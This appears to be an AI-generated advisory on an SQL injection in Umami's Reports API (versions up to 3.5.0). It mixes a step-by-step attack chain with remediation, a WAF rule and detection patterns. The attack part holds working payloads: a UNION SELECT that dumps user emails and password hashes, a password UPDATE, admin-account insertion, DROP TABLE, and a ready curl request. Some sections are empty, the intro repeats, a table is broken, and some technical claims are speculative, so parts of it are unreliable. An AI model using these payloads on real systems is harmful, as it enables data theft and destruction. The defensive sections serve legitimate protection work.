CVE-2026-138445 — Umami-software Umami (3.5.0) — CWE-89
Umami through 3.5.0 contains an sql injection vulnerability that allows share token holders or authenticated users to inject SQL by supplying a crafted prefix field in Reports API object filters. Attackers can send crafted filters to /api/reports/ endpoints, which getFilterQuery concatenates unquoted into Postgres WHERE clauses, to read or modify data beyond the requested website.
Umami through 3.5.0 contains an sql injection vulnerability that allows share token holders or authenticated users to inject SQL by supplying a crafted prefix field in Reports API object filters. Attackers can send crafted filters to /api/reports/ endpoints, which getFilterQuery concatenates unquoted into Postgres WHERE clauses, to read or modify data beyond the requested website.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE | CVE‑2026‑138445 |
| Vendor / Product | Umami – open‑source web‑analytics platform |
| Affected versions | ≤ 3.5.0 (the vulnerability is introduced in the Reports API and was fixed in the first post‑release, 3.5.1) |
| CWE | CWE‑89 – Improper Neutralization of Special Elements used in an SQL Command (SQL Injection) |
| CVSS v3.1 | 9.9 / 10 – Critical<br>Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| Authentication / Authorization | The flaw can be triggered by any authenticated user (including a “share‑token” holder, i.e. a user that only has read‑only access to a specific website). No additional privileges are required. |
| Root cause | The Reports API builds a PostgreSQL WHERE clause by concatenating the value of the prefix field supplied in the *filters* object without quoting or proper escaping. The concatenated string is passed directly to client.query() (or an equivalent query builder). Because the value is inserted verbatim, an attacker can inject arbitrary SQL fragments that become part of the final query. |
| Missing protection | • No input sanitisation / parameterisation for the prefix filter.<br>• No allow‑list validation of allowed characters (e.g., alphanumerics only).<br>• The API trusts the caller’s “share‑token” to limit the scope, but the injected SQL can bypass that scope because the token is applied *before* the injected clause. |
In short: Umami’s GET /api/reports/… endpoint builds a raw SQL WHERE clause from a user‑controlled string (prefix). The string is not escaped, enabling classic blind/union‑based SQL injection for any logged‑in user.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line examples are illustrative – the exact URI (/api/reports/) and JSON field names (filters.prefix) are taken from the CVE description; if a deployment uses a different base path, the same logic applies.
1️⃣ Discovery & Reconnaissance
| Step | Technique | Expected artefacts |
|---|---|---|
| a. Identify Umami | • Search for /umami.js, /api/health, or default favicon (/favicon.ico).<br>• Use Shodan / Censys “Umami” banner strings (X-Powered-By: Umami). | HTTP 200 with JSON { "version": "3.5.0" } or similar. |
| b. Enumerate API endpoints | • Access the public OpenAPI/Swagger spec (/api/docs or /swagger.json).<br>• Look for the Reports endpoint definition. | JSON schema showing GET /api/reports/{websiteId} with a filters object that contains a prefix property. |
| c. Verify authentication level | • Register a normal user or obtain a *share token* (read‑only URL that Umami generates for a website).<br>• Log in and capture the JWT / session cookie (authToken). | Authorization: Bearer <jwt> header or connect.sid cookie. |
| d. Confirm vulnerable version | • Query /api/version (if exposed) or read the package.json from the server (e.g., via a mis‑configured static file). | "version": "3.5.0" (or any ≤ 3.5.0). |
2️⃣ Exploitation
Goal: Execute arbitrary SQL – for the PoC we will read the users table, which contains e‑mail addresses and password hashes.
2.1 Craft the malicious filter
The vulnerable code (simplified) looks like:
// pseudo‑code from Umami source
function getFilterQuery(filters) {
let where = '';
if (filters.prefix) {
// BUG: raw concatenation, no quoting!
where += ` AND ${filters.prefix}`;
}
// other safe filters …
return where;
}Because the value is inserted as‑is, we can close the existing clause and inject a new one.
Payload (JSON)
{
"filters": {
"prefix": "1=1 UNION SELECT id,email,password FROM users --"
}
}Explanation:
1=1satisfies the original condition.UNION SELECT …appends a second result set that leaks theuserstable.--comments out the rest of the automatically generated query.
2.2 Send the request
# Illustrative curl – replace <HOST>, <JWT>, <WEBSITE_ID> as appropriate
curl -sk -X GET "https://<HOST>/api/reports/12345?filters=%7B%22prefix%22%3A%221%3D1%20UNION%20SELECT%20id%2Cemail%2Cpassword%20FROM%20users%20--%22%7D" \
-H "Authorization: Bearer <JWT>" \
-H "Accept: application/json"The filters query‑parameter is URL‑encoded JSON; the exact transport (query string vs. request body) depends on the implementation – both are vulnerable.
Expected response (partial)
{
"data": [
{ "id": 1, "email": "[email protected]", "password": "$2b$10$..." },
{ "id": 2, "email": "[email protected]", "password": "$2b$10$..." }
],
"meta": { "total": 2 }
}If the API returns a paginated list, the injected rows appear alongside legitimate report rows, confirming successful injection.
2.3 Extending to data modification
Because the query runs with the same database role as the web‑app (normally a read/write role), an attacker can also perform UPDATE/DELETE statements:
{
"filters": {
"prefix": "1=1; UPDATE users SET password='c3VwZXJzZWN1cmU=' WHERE id=2 --"
}
}Note: PostgreSQL does not allow multiple statements in a single query string when using the standard client.query() API, but many ORMs (e.g., pg-promise) allow semicolon‑separated statements when multipleStatements is enabled. If the vulnerable code uses such a configuration, the above works; otherwise the attacker can rely on RETURNING clauses or INSERT … SELECT tricks to achieve the same effect.
3️⃣ Post‑exploitation
| Phase | What the attacker can do |
|---|---|
| Data exfiltration | Dump the entire users table, any other tables (website, events, sessions). Because the API returns JSON, the data can be piped directly to a file or forwarded to a C2 server. |
| Privilege escalation | If the database contains an admin flag (role='admin'), the attacker can modify it (UPDATE users SET role='admin' WHERE id=2). Subsequent logins with the compromised credentials give full admin control over the Umami instance. |
| Persistence | Insert a new admin user: INSERT INTO users (email,password,role) VALUES ('[email protected]','<bcrypt>', 'admin');. |
| Further impact | With admin rights, the attacker can change the share‑token generation logic, inject malicious JavaScript into report pages, or even execute OS‑level commands if the application later runs user‑controlled data in a shell (common in export‑to‑CSV features). |
| Denial‑of‑Service | Issue a DELETE FROM events WHERE website_id = 123; or DROP TABLE reports; – the CVSS A:H reflects that a successful injection can lead to total data loss. |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived interpretation |
|---|---|
| Confidentiality (C:H) | An attacker can read all data stored in the Umami database (user credentials, analytics data, possibly API keys). |
| Integrity (I:H) | The attacker can modify or delete any row, inject new admin accounts, or tamper with analytics reports, breaking trust in the data. |
| Availability (A:H) | By issuing DROP TABLE or massive DELETE statements, the entire service can be rendered unusable. |
| Scope (S:C) | The vulnerability is clustered – the compromised database is shared across all websites tracked by the same Umami instance, so the impact spreads to *all* tenants. |
| Attack Vector | Network‑accessible (AV:N). |
| Complexity | Low (AC:L) – a single crafted request is enough. |
| Privileges Required | Low (PR:L) – any authenticated user or holder of a share token can exploit. |
| User Interaction | None (UI:N). |
Practical consequences
🛡️ Remediation & Mitigation
1️⃣ Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to Umami ≥ 3.5.1 (the first release that replaces the vulnerable string concatenation with a parameterised query). |
| Version check | Verify the version via the API (GET /api/version) or by inspecting package.json. |
| Commit reference | The fix lives in the repository commit that replaces getFilterQuery() with a parameterised query using $1, $2 … placeholders (no need to quote user input). |
2️⃣ Immediate Workarounds (if patch cannot be applied instantly)
| Workaround | Implementation | |||||||||
|---|---|---|---|---|---|---|---|---|---|---|
| Input sanitisation at the edge | Reject any filters.prefix value that contains characters outside the whitelist [A-Za-z0-9_ .] or that matches typical SQL meta‑characters (', ", ;, --, /*, */, UNION, SELECT, INSERT, UPDATE, DELETE, DROP). | |||||||||
| ModSecurity / OWASP CRS rule (example) | ``apache\nSecRule REQUEST_HEADERS:Content-Type "application/json" "id:100001,phase:2,deny,log,msg:'Umami Reports API SQLi attempt',\n chain\n SecRule ARGS:filters.prefix \"(?i)(union | select | insert | update | delete | drop | \\b--\\b | ; | \\bOR\\b | \\bAND\\b)\" \"t:none\"\n` |
| Web‑application firewall (WAF) rate‑limit | Limit the number of /api/reports/*` calls per authenticated user to a reasonable threshold (e.g., 30 requests/min). | |||||||||
| Restrict API access | Move the Reports API behind an internal network or VPN; disable external access for non‑admin users if the feature is not required. | |||||||||
| Least‑privilege DB role | Run the Umami web‑app with a read‑only database role for the reports endpoint, and a separate write role only for admin‑only routes. This limits the impact of a successful injection to data disclosure rather than modification. |
3️⃣ Detection – Log patterns & IoCs
| Indicator | Example log line (Nginx) |
|---|---|
Suspicious prefix value | GET /api/reports/12345?filters=%7B%22prefix%22%3A%221%3D1%20UNION%20SELECT%20.*%20FROM%20users%20--%22%7D HTTP/1.1" 200 4523 "-" "Mozilla/5.0" |
| SQL error leakage (if error messages are not suppressed) | POST /api/reports/ HTTP/1.1" 500 123 "syntax error at or near \"UNION\"" |
| High‑frequency report calls | More than 100 /api/reports/ requests from the same user/IP within 1 minute. |
| Database audit (PostgreSQL) | LOG: statement: SELECT ... FROM reports WHERE 1=1 UNION SELECT id,email,password FROM users -- |
| New admin user creation | INSERT INTO users (email, password, role) VALUES ('[email protected]', '...', 'admin') – can be caught via DB‑level triggers or audit logs. |
SIEM rule (pseudo‑logic)
if (event.type == "http" && url.path matches "/api/reports/*") {
if (request.query contains "UNION" OR "SELECT" OR "--" OR ";") {
raise_alert("Potential SQLi in Umumi Reports API");
}
}⚠️ Urgency
Bottom line: The SQL injection in Umami ≤ 3.5.0’s Reports API allows any logged‑in user (or share‑token holder) to run arbitrary PostgreSQL commands, leading to full data breach, data tampering, and possible service destruction. Deploy the official fix, harden the API surface, and monitor for the outlined IoCs without delay.
[🤖 CVE Professor AI Security Engine]
FOFA Query